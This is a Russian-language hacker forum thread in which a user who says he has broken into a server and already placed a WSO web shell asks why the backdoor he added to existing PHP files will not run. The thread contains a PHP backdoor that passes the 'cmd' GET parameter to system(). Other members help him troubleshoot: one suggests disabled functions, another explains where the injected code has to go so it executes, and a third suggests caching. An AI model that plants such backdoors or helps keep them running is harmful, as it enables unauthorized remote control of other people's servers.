Не выполняется мой код в php-файлах

Discussion in 'Песочница' started by blackbox, 23 Dec 2015.

  1. blackbox

    blackbox Elder - Старейшина

    Joined:
    31 Dec 2011
    Messages:
    362
    Likes Received:
    62
    Reputations:
    11
    В общем залился на сервер, подумал что нужно забекдорить пару файлов, но тут довольно странная ситуация возникла. Например я взял файл из диры, где лежит мой WSO (в файле описан простенький класс), добавил туда банальное:

    PHP:
    if($_GET['cmd')
    {
        
    system($_GET['cmd']);
    }
    Но ничего не работает. Создал в папке чистый файл с этим содержимым - вывод отображается. В папке выше лежит htaccess, но там вроде ничего странного не нашел, только rewrite rules. Что это может быть?
     
  2. BabaDook

    BabaDook Well-Known Member

    Joined:
    9 May 2015
    Messages:
    1,066
    Likes Received:
    1,565
    Reputations:
    40
    phpinfo посмотри, наверное там дисабле функцион system exec
     
  3. blackbox

    blackbox Elder - Старейшина

    Joined:
    31 Dec 2011
    Messages:
    362
    Likes Received:
    62
    Reputations:
    11
    Нет, отключенных функций нету, да и ошибку бы выдало. Если в новом файле прописать, то все работает. А в тех файлах что я изменял даже echo не выводилось.
     
  4. private_static

    Joined:
    19 May 2015
    Messages:
    117
    Likes Received:
    76
    Reputations:
    22
    если в файле описан класс это не значит что экземпляр этого класса создаётся в этом же скрипте
    к примеру имеем следующий код в файле test.php:
    PHP:
    <?php
    function test() {
        
    //некоторый код
        
    system($_GET['cmd']);
    }
    ?>
    в данном случае вызова system() не произойдёт если вы обратились к данному скрипту в виде test.php?cmd=whoami, потому что в этом скрипте только определили функцию но не вызвали её
    а вот в таком случае всё отработает:
    PHP:
    <?php
    function test() {
        
    //некоторый код
        
    system($_GET['cmd']);
    }
    test()
    ?>
    отработает потому что test() вызывается в этом же скрипте
    либо вставляйте свой код в место в котором он тут же выполнится, либо ищите где и когда создаётся объект протрояненного класса и уже обращайтесь к скрипту в котором идёт создание этого объекта и работа с его методами
     
    #4 private_static, 24 Dec 2015
    Last edited: 24 Dec 2015
  5. blackbox

    blackbox Elder - Старейшина

    Joined:
    31 Dec 2011
    Messages:
    362
    Likes Received:
    62
    Reputations:
    11
    Да, это понятно, я не в классе вставлял код и не в описании функции. Я вынес за пределы, но суть не поменялась. Опять же, резюмируя - когда я добавляю код в существующие файлы, он не выполняется, причем никакой, даже echo, а когда я создал новый файл, но в нем все отработало. Вот.
     
  6. private_static

    Joined:
    19 May 2015
    Messages:
    117
    Likes Received:
    76
    Reputations:
    22
    быть может там система кеширования какая стоит
     
  7. blackbox

    blackbox Elder - Старейшина

    Joined:
    31 Dec 2011
    Messages:
    362
    Likes Received:
    62
    Reputations:
    11
    Возможно.